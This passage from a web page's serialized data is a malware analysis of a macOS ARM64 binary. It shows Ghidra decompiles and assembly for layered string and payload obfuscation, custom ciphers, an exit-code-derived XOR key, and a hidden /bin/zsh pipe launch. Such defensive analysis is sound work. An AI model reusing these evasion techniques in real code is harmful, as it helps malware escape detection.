",[1546,2205,2206],{},"DAT_1006292cc","). ",[1546,2209,2210],{},"FUN_10007ad80",[1546,2212,2213],{},"0x10007ad80"," decodes 56-character strings (672 bytes from ",[1546,2216,2217],{},"DAT_10049708c","). Both use the identical algorithm.",[1536,2220,2221],{"style":1538},[2005,2222,2223,2226,2228,2231,2021,2233,2026,2235,2238,2239,2241,2242,2244,2245,2247,2248,2251,2252],{},[1584,2224,2225],{"style":2009},"// FUN_100087c08 @ 0x100087c08",[2012,2227],{},[1584,2229,2230],{"style":2009},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1584,2232,2020],{"style":2019},[1584,2234,2198],{"style":2024},[1584,2236,2237],{"style":2019},"long"," *param_1)\n{\n  ",[1584,2240,2237],{"style":2019}," *plVar1;\n  ",[1584,2243,2020],{"style":2019}," *pvVar2;\n  ",[1584,2246,2237],{"style":2019}," lVar3;\n  ",[1584,2249,2250],{"style":2019},"uint"," *puVar4;\n",[806,2253,2254,2255,2026,2258,2261,2262,2267,2270,2271,2261,2273,2276,2278,2281,2282,2285,2286,2261,2289,2292,2293,2295,2296,2059,2298,2300,2301,2304,2305,2308,2309,2311,2312,2315,2316,2319,2320,2059,2323,2325,2326,2329,2330,2333,2335,2338,2339,2059,2341,2343,2344,2346,2347,2349,2350,2355,2356,2359,2360,2365,2366,2369,2370,2372,2373,2378,2379,2381,2382,2384,2385,2388,2389,2392,2393,2261,2395,2398,2400,2403,2404,2075],{},"pvVar2 = ",[1584,2256,2257],{"style":2024},"operator_new",[1584,2259,2260],{"style":2045},"0x2d0","); ",[1584,2263,2264,2265],{"style":2009},"// allocate 720 bytes (60 triplets × 12)",[2012,2266],{},[1584,2268,2269],{"style":2024},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1584,2272,2260],{"style":2045},[1584,2274,2275],{"style":2009},"// copy encoded triplets from __const",[2012,2277],{},[1584,2279,2280],{"style":2024},"FUN_1000a0840","(param_1, ",[1584,2283,2284],{"style":2045},"0x3c",", ",[1584,2287,2288],{"style":2045},"0",[1584,2290,2291],{"style":2009},"// init 60-char output buffer","\nlVar3 = ",[1584,2294,2288],{"style":2045},";\npuVar4 = (",[1584,2297,2250],{"style":2019},[1584,2299,2237],{"style":2019},")pvVar2 + ",[1584,2302,2303],{"style":2045},"8",");\n",[1584,2306,2307],{"style":2019},"do"," {\nplVar1 = (",[1584,2310,2237],{"style":2019}," _)_param_1;\n",[1584,2313,2314],{"style":2019},"if"," (-",[1584,2317,2318],{"style":2045},"1"," \u003C _(",[1584,2321,2322],{"style":2019},"char",[1584,2324,2237],{"style":2019},")param_1 + ",[1584,2327,2328],{"style":2045},"0x17",")) {\nplVar1 = param_1;\n}\n",[1584,2331,2332],{"style":2009},"// THE DECODE FORMULA, one character per triplet:",[2012,2334],{},[1584,2336,2337],{"style":2009},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1584,2340,2322],{"style":2019},[1584,2342,2237],{"style":2019},")plVar1 + lVar3) =\n(",[1584,2345,2322],{"style":2019},")((",[1584,2348,2032],{"style":2019},")(puVar4",[1584,2351,2352,2353],{},"-",[1584,2354,2318],{"style":2045}," * ",[1584,2357,2358],{"style":2045},"3"," ^ puVar4",[1584,2361,2352,2362],{},[1584,2363,2364],{"style":2045},"2",") >> (*puVar4 & ",[1584,2367,2368],{"style":2045},"0x1f",")) - (",[1584,2371,2322],{"style":2019},")puVar4",[1584,2374,2375],{},[1584,2376,2377],{"style":2045},"-1",";\nlVar3 = lVar3 + ",[1584,2380,2318],{"style":2045},";\npuVar4 = puVar4 + ",[1584,2383,2358],{"style":2045},"; ",[1584,2386,2387],{"style":2009},"// advance 12 bytes — next triplet","\n} ",[1584,2390,2391],{"style":2019},"while"," (lVar3 != ",[1584,2394,2284],{"style":2045},[1584,2396,2397],{"style":2009},"// loop exactly 60 times",[2012,2399],{},[1584,2401,2402],{"style":2024},"operator_delete","(pvVar2);\n",[1584,2405,2074],{"style":2019},[806,2407,2408],{},"And the corresponding ARM64 assembly, each instruction maps directly to one operation in the formula:",[1536,2410,2411],{"style":1538},[1540,2412,2415],{"className":2413,"code":2414,"language":917},[1543],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[1546,2416,2414],{"__ignoreMap":863},[806,2418,2419,2420,2423,2424,2427],{},"One detail worth noting: the multiplication ",[1546,2421,2422],{},"b × 3"," is implemented as ",[1546,2425,2426],{},"add w12, w11, w11, LSL #1",", a shift-and-add that avoids a multiplication instruction entirely. This is a classic compiler optimisation that also makes the code harder to pattern-match in signature databases.",[806,2429,2430],{},"The complete decode formula:",[1536,2432,2433],{"style":1538},[1540,2434,2437],{"className":2435,"code":2436,"language":917},[1543],"char = ASR( (b × 3) XOR a, shift ) − b\n",[1546,2438,2436],{"__ignoreMap":863},[806,2440,1880,2441,2444,2445,2448,2449,2452],{},[1546,2442,2443],{},"ASR"," (arithmetic shift right) is critical. It preserves the sign bit. If the intermediate result of ",[1546,2446,2447],{},"(b×3) XOR a"," is negative, which it frequently is, a logical shift would produce a different result entirely. This is intentional, and means that simply reimplementing the formula with ",[1546,2450,2451],{},">>"," in a higher-level language will silently produce wrong output unless the signed arithmetic is handled correctly.",[806,2454,2455,2456,2458,2459,2461,2462,2465],{},"The 56-character variant ",[1546,2457,2210],{}," is structurally identical, operating on ",[1546,2460,2217],{}," with a loop limit of ",[1546,2463,2464],{},"0x38",". Both functions were confirmed live from Ghidra during this analysis.",[1508,2467],{},[1667,2469,2471],{"id":2470},"layer-2-hex-string-encoding","Layer 2 — Hex String Encoding",[806,2473,1673],{},[806,2475,2476,2477,2480,2481,2199,2484,2487,2488,2491],{},"The raw bytes produced by Layer 1 are themselves ASCII hex characters, not binary data. The output of a Layer 1 triplet decode is a string of hex pairs: ",[1546,2478,2479],{},"32694e5462...",". This is confirmed by the decoder function ",[1546,2482,2483],{},"FUN_100000dc0",[1546,2485,2486],{},"0x100000dc0",", which implements a hex-decode using a lookup table at ",[1546,2489,2490],{},"DAT_1007bb591",".",[806,2493,2494,2495,2352,2498,2285,2501,2352,2504,2285,2507,2352,2510,2513],{},"The Ghidra decompile shows a switch statement mapping each hex character (",[1546,2496,2497],{},"0x30",[1546,2499,2500],{},"0x39",[1546,2502,2503],{},"0x41",[1546,2505,2506],{},"0x46",[1546,2508,2509],{},"0x61",[1546,2511,2512],{},"0x66",") to its nibble value, assembling output bytes two characters at a time:",[1536,2515,2516],{"style":1538},[2005,2517,2518,2521,2524,2527,2528,2531,2532,2534,2535,2021,2538,2540,2541,2544,2545,1901,2548,2021,2550,2553,2554,2384,2557,2559,2560,1901,2563,2021,2565,2553,2568,2384,2571,2559,2573,1901,2576,1901,2579,2021,2581,2540,2583,2021,2585,2553,2587,2384,2590,2592,2593,1901,2596,2021,2598,2540,2601,2021,2603,2553,2606,2384,2609,2592,2611,1901,2614,2021,2616,2540,2619,2021,2621,2624,2625,2384,2628,2592,2630,1901,2633,2021,2635,2540,2638,2021,2640,2643,2644,2384,2647,2592,2649,1901,2652,2021,2654,2540,2657,2021,2659,2553,2662,2384,2665,2592,2667,1901,2670,2021,2672,2540,2674,2021,2676,2553,2678,2384,2681,2592,2683,2686,2687,2690,2691,2531,2694,2696,2697,2699,2700,2703],{},[1584,2519,2520],{"style":2009},"// FUN_100000dc0 @ 0x100000dc0",[1584,2522,2523],{"style":2009},"// Hex decoder, processes input two characters per output byte",[1584,2525,2526],{"style":2019},"switch","(*(",[1584,2529,2530],{"style":2019},"undefined1"," *)((",[1584,2533,2237],{"style":2019},")plVar2 + lVar7)) {\n  ",[1584,2536,2537],{"style":2019},"case",[1584,2539,2497],{"style":2045},": ",[1584,2542,2543],{"style":2019},"break",";                  ",[1584,2546,2547],{"style":2009},"// '0' → 0x00",[1584,2549,2537],{"style":2019},[1584,2551,2552],{"style":2045},"0x31",": bVar9 = ",[1584,2555,2556],{"style":2045},"0x10",[1584,2558,2543],{"style":2019},";   ",[1584,2561,2562],{"style":2009},"// '1' → 0x10",[1584,2564,2537],{"style":2019},[1584,2566,2567],{"style":2045},"0x32",[1584,2569,2570],{"style":2045},"0x20",[1584,2572,2543],{"style":2019},[1584,2574,2575],{"style":2009},"// '2' → 0x20",[1584,2577,2578],{"style":2009},"// ... '3' through '9' ...",[1584,2580,2537],{"style":2019},[1584,2582,2503],{"style":2045},[1584,2584,2537],{"style":2019},[1584,2586,2509],{"style":2045},[1584,2588,2589],{"style":2045},"0xa0",[1584,2591,2543],{"style":2019},";  ",[1584,2594,2595],{"style":2009},"// 'A'/'a' → 0xa0",[1584,2597,2537],{"style":2019},[1584,2599,2600],{"style":2045},"0x42",[1584,2602,2537],{"style":2019},[1584,2604,2605],{"style":2045},"0x62",[1584,2607,2608],{"style":2045},"0xb0",[1584,2610,2543],{"style":2019},[1584,2612,2613],{"style":2009},"// 'B'/'b' → 0xb0",[1584,2615,2537],{"style":2019},[1584,2617,2618],{"style":2045},"0x43",[1584,2620,2537],{"style":2019},[1584,2622,2623],{"style":2045},"99",":   bVar9 = ",[1584,2626,2627],{"style":2045},"0xc0",[1584,2629,2543],{"style":2019},[1584,2631,2632],{"style":2009},"// 'C'/'c' → 0xc0",[1584,2634,2537],{"style":2019},[1584,2636,2637],{"style":2045},"0x44",[1584,2639,2537],{"style":2019},[1584,2641,2642],{"style":2045},"100",":  bVar9 = ",[1584,2645,2646],{"style":2045},"0xd0",[1584,2648,2543],{"style":2019},[1584,2650,2651],{"style":2009},"// 'D'/'d' → 0xd0",[1584,2653,2537],{"style":2019},[1584,2655,2656],{"style":2045},"0x45",[1584,2658,2537],{"style":2019},[1584,2660,2661],{"style":2045},"0x65",[1584,2663,2664],{"style":2045},"0xe0",[1584,2666,2543],{"style":2019},[1584,2668,2669],{"style":2009},"// 'E'/'e' → 0xe0",[1584,2671,2537],{"style":2019},[1584,2673,2506],{"style":2045},[1584,2675,2537],{"style":2019},[1584,2677,2512],{"style":2045},[1584,2679,2680],{"style":2045},"0xf0",[1584,2682,2543],{"style":2019},[1584,2684,2685],{"style":2009},"// 'F'/'f' → 0xf0","\n}\n",[1584,2688,2689],{"style":2009},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1584,2692,2693],{"style":2019},"byte",[1584,2695,2237],{"style":2019},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1584,2698,2062],{"style":2019},")uVar4 & ",[1584,2701,2702],{"style":2045},"0xff","] | bVar9;\n",[806,2705,2706],{},"The ARM64 assembly drives this with a secondary computed-branch table, effectively implementing a 55-entry jump table for the switch:",[1536,2708,2709],{"style":1538},[1540,2710,2713],{"className":2711,"code":2712,"language":917},[1543],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[1546,2714,2712],{"__ignoreMap":863},[806,2716,2717],{},"Two computed branches within a 24-byte window. Static analysis tools struggle badly with this pattern because both targets are unknown at analysis time.",[806,2719,2720],{},"A 137,208-character hex string decodes to 68,604 bytes. These 68,604 bytes then feed Layer 3.",[1508,2722],{},[1667,2724,2726],{"id":2725},"layer-3-custom-16-symbol-nibble-alphabet","Layer 3 — Custom 16-Symbol Nibble Alphabet",[806,2728,1673],{},[806,2730,2731],{},"The 68,604 output bytes from Layer 2 use only 16 unique byte values, drawn from two non-contiguous ASCII ranges:",[2733,2734,2735,2784],"ul",{},[2736,2737,2738,2741,2742,2285,2745,2285,2748,2285,2751,2285,2754,2285,2757,2285,2760,2285,2763,2285,2765,2285,2768,2285,2771,2285,2774,2285,2777,2285,2779,2285,2781],"li",{},[1546,2739,2740],{},"0x20-0x2F",": space, ",[1546,2743,2744],{},"!",[1546,2746,2747],{},"\"",[1546,2749,2750],{},"#",[1546,2752,2753],{},"$",[1546,2755,2756],{},"%",[1546,2758,2759],{},"&",[1546,2761,2762],{},"'",[1546,2764,2026],{},[1546,2766,2767],{},")",[1546,2769,2770],{},"*",[1546,2772,2773],{},"+",[1546,2775,2776],{},",",[1546,2778,2352],{},[1546,2780,2491],{},[1546,2782,2783],{},"/",[2736,2785,2786,2540,2789,2285,2792,2285,2795,2285,2798,2285,2801,2285,2804,2285,2807,2810],{},[1546,2787,2788],{},"0x78-0x7F",[1546,2790,2791],{},"x",[1546,2793,2794],{},"y",[1546,2796,2797],{},"z",[1546,2799,2800],{},"{",[1546,2802,2803],{},"|",[1546,2805,2806],{},"}",[1546,2808,2809],{},"~",", DEL",[806,2812,2813],{},"This is a deliberate choice. In a hex editor, these bytes look like whitespace, punctuation, and end-of-ASCII-range characters — they blend into what looks like metadata or padding, not encoded data. A human analyst doing a quick visual scan of a hex dump will not flag these byte ranges as suspicious. Standard entropy analysis will also undercount the effective entropy because the byte distribution appears non-random.",[806,2815,2816,2817,2820,2821,2824,2825,2828,2829,2832],{},"Each byte from this alphabet encodes one nibble of the actual payload. The alphabet-to-nibble mapping is applied by the encode/decode function ",[1546,2818,2819],{},"FUN_100000d60",", which we confirmed at ",[1546,2822,2823],{},"0x100000d60",". It chains two sub-functions: ",[1546,2826,2827],{},"FUN_100000b50"," builds an indexed map of the input string's characters, and ",[1546,2830,2831],{},"FUN_100000c34"," walks this map, consuming 6 bits per step and accumulating output bytes 8 bits at a time:",[1536,2834,2835],{"style":1538},[2005,2836,2837,2840,2841,2843,2844,2846,2847,2849,2850,2853,2854,1901,2857,2859,2860,2862,2863,1905,2866,2868,2869,2872,2873,2875,2876,1905,2879,2881,2882,2885,2886,2889,2890,2892,2893,2896,2897,2899,2900,2531,2903,2905,2906,2908,2909,2911],{},[1584,2838,2839],{"style":2009},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1584,2842,2288],{"style":2045},";\n",[1584,2845,2307],{"style":2019}," {\n  local_52 = *(",[1584,2848,2530],{"style":2019}," *)puVar4;\n  lVar3 = ",[1584,2851,2852],{"style":2024},"FUN_1000a078c","(param_3, &local_52);  ",[1584,2855,2856],{"style":2009},"// look up nibble value",[1584,2858,2314],{"style":2019}," (lVar3 == ",[1584,2861,2288],{"style":2045},") {\n    ",[1584,2864,2865],{"style":2009},"// character not in alphabet, treat as raw",[1584,2867,2852],{"style":2024},"(param_3, &local_51);\n  } ",[1584,2870,2871],{"style":2019},"else"," {\n    iVar5 = iVar5 + ",[1584,2874,2066],{"style":2045},";           ",[1584,2877,2878],{"style":2009},"// accumulate 4 bits",[1584,2880,2391],{"style":2019}," (",[1584,2883,2884],{"style":2045},"7"," \u003C iVar5) {\n      std::string::",[1584,2887,2888],{"style":2024},"push_back","((",[1584,2891,2322],{"style":2019},")param_1);  ",[1584,2894,2895],{"style":2009},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1584,2898,2303],{"style":2045},";\n    }\n  }\n  puVar4 = (",[1584,2901,2902],{"style":2019},"undefined8",[1584,2904,2237],{"style":2019},")puVar4 + ",[1584,2907,2318],{"style":2045},");\n} ",[1584,2910,2391],{"style":2019}," (puVar4 != puVar1);\n",[806,2913,2914],{},"The 34,302 bytes that emerge from this pass are 99.7% printable ASCII, the payload at this stage looks like a large shell script or configuration blob to a superficial inspection.",[1508,2916],{},[1667,2918,2920],{"id":2919},"layer-4-compile-time-string-obfuscation","Layer 4, Compile-Time String Obfuscation",[806,2922,1673],{},[806,2924,2925],{},"Short strings used internally are obfuscated at compile time using the same triplet scheme as Layer 1. These strings are reconstructed at runtime immediately before use and never persist in memory, they are consumed by the next operation and then the buffer is freed. At no point is a decoded string visible in the binary's static data sections.",[806,2927,2928,2929,2932],{},"The string hash function ",[1546,2930,2931],{},"FUN_100000730"," provides a secondary obfuscation layer for string comparisons. Rather than comparing strings directly, which would leave plaintext in memory for pattern-matching, the binary computes and compares integer hashes:",[1536,2934,2935],{"style":1538},[2005,2936,2937,2940,2943,2021,2945,2026,2947,2238,2949,2951,2952,2955,2956,1901,2959,1901,2962,2965,2966,2968,2969,2971,2972,2974,2975,2592,2978,2981,2982,2984,2985,2987],{},[1584,2938,2939],{"style":2009},"// FUN_100000730 @ 0x100000730",[1584,2941,2942],{"style":2009},"// FNV-style string hash, avoids plaintext string comparisons",[1584,2944,2032],{"style":2019},[1584,2946,2931],{"style":2024},[1584,2948,2322],{"style":2019},[1584,2950,2032],{"style":2019}," iVar4 = ",[1584,2953,2954],{"style":2045},"0x19a8",";    ",[1584,2957,2958],{"style":2009},"// FNV offset basis (modified)",[1584,2960,2961],{"style":2009},"// ...",[1584,2963,2964],{"style":2019},"for"," (; uVar3 != ",[1584,2967,2288],{"style":2045},"; uVar3 = uVar3 - ",[1584,2970,2318],{"style":2045},") {\n    iVar4 = (",[1584,2973,2032],{"style":2019},")*pcVar1 + iVar4 * -",[1584,2976,2977],{"style":2045},"0x7fb91be3",[1584,2979,2980],{"style":2009},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1584,2983,2318],{"style":2045},";\n  }\n  ",[1584,2986,2074],{"style":2019}," iVar4;\n}\n",[806,2989,2990],{},"The ARM64 implementation replaces the multiply with a fused multiply-add:",[1536,2992,2993],{"style":1538},[1540,2994,2997],{"className":2995,"code":2996,"language":917},[1543],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[1546,2998,2996],{"__ignoreMap":863},[806,3000,3001],{},"This means that even comparing two strings inside the binary never produces a branch that a debugger can intercept cleanly at the string level — only at the hash level.",[1508,3003],{},[1667,3005,3007],{"id":3006},"layer-5-dual-instance-custom-stream-cipher","Layer 5 — Dual-Instance Custom Stream Cipher",[806,3009,1673],{},[806,3011,3012,3013,3016],{},"This is where the obfuscation architecture becomes genuinely unusual. There are not one but ",[1732,3014,3015],{},"two separate cipher instances"," running in the binary, each with a different hardcoded lookup table and a different starting counter. Both use the same algorithm structure, but they produce different output alphabets for different parts of the payload pipeline.",[806,3018,3019,3022,3023,2199,3026,3029],{},[1732,3020,3021],{},"Instance A"," — ",[1546,3024,3025],{},"FUN_10007ab34",[1546,3027,3028],{},"0x10007ab34",":",[1536,3031,3032],{"style":1538},[2005,3033,3034,3037,3038,2843,3041,3043,3044,2531,3046,3048,3049,3051,3052,2531,3054,3056,3057,3059,3060,2531,3062,3064,3065,3067,3068,3071,3072,3074,3075,3077],{},[1584,3035,3036],{"style":2009},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1584,3039,3040],{"style":2045},"0x4c",[1584,3042,2307],{"style":2019}," {\n  bVar2 = *(",[1584,3045,2693],{"style":2019},[1584,3047,2237],{"style":2019},")local_e0 +\n          ((",[1584,3050,2062],{"style":2019},")(*(",[1584,3053,2693],{"style":2019},[1584,3055,2237],{"style":2019},")local_c8 + uVar5) ^ uVar6) & ",[1584,3058,2702],{"style":2045},"));\n  *(",[1584,3061,2693],{"style":2019},[1584,3063,2237],{"style":2019},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1584,3066,2032],{"style":2019},")uVar5 + (uVar6 ^ bVar2);  ",[1584,3069,3070],{"style":2009},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1584,3073,2318],{"style":2045},";\n} ",[1584,3076,2391],{"style":2019}," (uVar7 != uVar5);\n",[806,3079,3080,2285,3083,2199,3086,3029],{},[1732,3081,3082],{},"Instance B",[1546,3084,3085],{},"FUN_10007a7e0",[1546,3087,3088],{},"0x10007a7e0",[1536,3090,3091],{"style":1538},[2005,3092,3093,3037,3096,2843,3099,3043,3101,2531,3103,3105,3106,3051,3108,2531,3110,3112,3113,3059,3115,2531,3117,3064,3119,3067,3121,3071,3124,3074,3126,3077],{},[1584,3094,3095],{"style":2009},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1584,3097,3098],{"style":2045},"0x9f",[1584,3100,2307],{"style":2019},[1584,3102,2693],{"style":2019},[1584,3104,2237],{"style":2019},")local_c0 +\n          ((",[1584,3107,2062],{"style":2019},[1584,3109,2693],{"style":2019},[1584,3111,2237],{"style":2019},")local_a8 + uVar5) ^ uVar6) & ",[1584,3114,2702],{"style":2045},[1584,3116,2693],{"style":2019},[1584,3118,2237],{"style":2019},[1584,3120,2032],{"style":2019},[1584,3122,3123],{"style":2009},"// identical counter update formula",[1584,3125,2318],{"style":2045},[1584,3127,2391],{"style":2019},[806,3129,3130,3131,3133,3134,3136],{},"The algorithm is structurally identical but the starting counter differs (",[1546,3132,3040],{}," vs ",[1546,3135,3098],{},") and the lookup tables are at different memory addresses. Instance A is called from state 11 of the state machine to produce the encoding alphabet for the first payload path. Instance B is called from state 6 to produce the alphabet for the large shell script payload decode.",[806,3138,3139,3140,3143,3144,3147,3148,3151],{},"To be precise about what this cipher is: it is a ",[1732,3141,3142],{},"substitution cipher with a counter-dependent index",". Each output byte is a table lookup where the index is ",[1546,3145,3146],{},"(input_byte XOR counter) & 0xFF",". The counter updates as ",[1546,3149,3150],{},"counter = (i + (counter XOR output)) & 0xFF"," after each byte, meaning each output byte feeds back into determining the next lookup index. This creates a dependency chain across the entire output sequence: you cannot decrypt byte N without having correctly decrypted bytes 0 through N−1. This property makes partial decryption or fault analysis significantly harder.",[806,3153,3154],{},"Neither instance is standard RC4. There is no S-Box initialisation phase and no S-Box swap operation. The lookup tables are static, pre-computed constants baked into the binary at compile time.",[1508,3156],{},[1667,3158,3160],{"id":3159},"layer-6-runtime-xor-with-exit-code-dependent-key","Layer 6 — Runtime XOR with Exit-Code Dependent Key",[806,3162,1673],{},[806,3164,3165,3166,3169],{},"The final and most analytically defeating layer applies an in-place XOR transformation to the Stage 2 payload. The XOR key is not hardcoded. It is computed at runtime from the exit code of the ",[1732,3167,3168],{},"first shell payload execution",", meaning it cannot be determined by any form of static analysis. The binary must actually execute, the first shell script must run to completion, and only then does the key exist.",[806,3171,3172],{},"The key derivation sequence in the ARM64 state machine dispatcher:",[1536,3174,3175],{"style":1538},[1540,3176,3179],{"className":3177,"code":3178,"language":917},[1543],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[1546,3180,3178],{"__ignoreMap":863},[806,3182,3183],{},"The XOR loop that processes the Stage 2 payload:",[1536,3185,3186],{"style":1538},[1540,3187,3190],{"className":3188,"code":3189,"language":917},[1543],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[1546,3191,3189],{"__ignoreMap":863},[806,3193,3194,3195,3198,3199,3202,3203,3205],{},"The key is a 16-bit value derived from the exit status byte of the first shell payload, multiplied by ",[1546,3196,3197],{},"0x7f0"," and added to the current value of the state machine's base counter register ",[1546,3200,3201],{},"w26",". The multiplication constant ",[1546,3204,3197],{}," means that even a single-bit difference in the exit code produces a completely different key, there is no exploitable continuity between adjacent key values.",[806,3207,3208],{},"Without executing the binary in a controlled environment and capturing the exact exit code of the first shell payload, the Stage 2 payload is permanently opaque to static analysis. This is the single hardest barrier we encountered in this entire analysis.",[1508,3210],{},[810,3212,3214],{"id":3213},"shell-execution-pipes-not-arguments-and-simd-xor","Shell Execution: Pipes, Not Arguments, and SIMD XOR",[806,3216,1531],{},[806,3218,3219,3220,2199,3223,3226],{},"The shell execution function ",[1546,3221,3222],{},"FUN_10000091c",[1546,3224,3225],{},"0x10000091c"," is architecturally the most interesting piece of the binary. It is where everything comes together, the decoded payload, the obfuscated command name, and the deliberate anti-forensic design. Every individual design decision in this function is intentional and serves a specific evasion purpose.",[1667,3228,3230],{"id":3229},"step-1-the-command-name-is-never-in-plaintext","Step 1: The command name is never in plaintext",[806,3232,1673],{},[806,3234,3235,3236,3239,3240,3243,3244,3247,3248,3251],{},"The string ",[1546,3237,3238],{},"/bin/zsh"," does not exist anywhere in the binary. It is stored in the ",[1546,3241,3242],{},"__cstring"," section at ",[1546,3245,3246],{},"0x1007bb5c8"," as the obfuscated bytes ",[1546,3249,3250],{},"\\x01LG@\\x01T]F",". The decoding happens at runtime using a single XOR operation, confirmed directly in the ARM64 assembly:",[1536,3253,3254],{"style":1538},[1540,3255,3258],{"className":3256,"code":3257,"language":917},[1543],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[1546,3259,3257],{"__ignoreMap":863},[806,3261,3262,3263,3266,3267,3269,3270,3273],{},"The XOR key is ",[1546,3264,3265],{},"0x2e",", the ASCII value of ",[1546,3268,2491],{}," (period). The decode is performed in a single ",[1546,3271,3272],{},"eor v0.8B, v0.8B, v1.8B",", an ARM64 NEON vector instruction that XORs all 8 bytes of the string simultaneously. Using a SIMD instruction for a simple 8-byte decode is unusual and serves two purposes: it is faster than a byte-by-byte loop, and it generates a fundamentally different instruction pattern that signature-matching tools trained on scalar decode loops will not flag.",[806,3275,3276,3277,2285,3280,2285,3283,2285,3286,3289,3290,3293],{},"The verification is trivial: ",[1546,3278,3279],{},"0x01 XOR 0x2e = 0x2f = /",[1546,3281,3282],{},"0x4c XOR 0x2e = 0x62 = b",[1546,3284,3285],{},"0x47 XOR 0x2e = 0x69 = i",[1546,3287,3288],{},"0x40 XOR 0x2e = 0x6e = n"," — producing ",[1546,3291,3292],{},"/bin"," in the first four bytes.",[1667,3295,3297],{"id":3296},"step-2-the-pipe-architecture","Step 2: The pipe architecture",[806,3299,1673],{},[806,3301,3302],{},"After decoding the command name, the function creates an OS pipe and forks:",[1536,3304,3305],{"style":1538},[1540,3306,3309],{"className":3307,"code":3308,"language":917},[1543],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[1546,3310,3308],{"__ignoreMap":863},[806,3312,3313],{},"In the child process:",[1536,3315,3316],{"style":1538},[1540,3317,3320],{"className":3318,"code":3319,"language":917},[1543],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[1546,3321,3319],{"__ignoreMap":863},[806,3323,3324,3325,3328,3329,3332,3333,3335],{},"The child replaces its standard input with the read end of the pipe, then executes ",[1546,3326,3327],{},"/bin/zsh -s",". The shell in ",[1546,3330,3331],{},"-s"," mode reads commands from stdin. From a process monitoring perspective, this process appears as ",[1546,3334,3327],{}," with no arguments — which is indistinguishable from a legitimate interactive shell session.",[1667,3337,3339],{"id":3338},"step-3-variable-size-chunk-writes","Step 3: Variable-size chunk writes",[806,3341,1673],{},[806,3343,3344],{},"The parent process writes the decrypted payload to the pipe write end in deliberately variable-sized chunks:",[1536,3346,3347],{"style":1538},[1540,3348,3351],{"className":3349,"code":3350,"language":917},[1543],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, 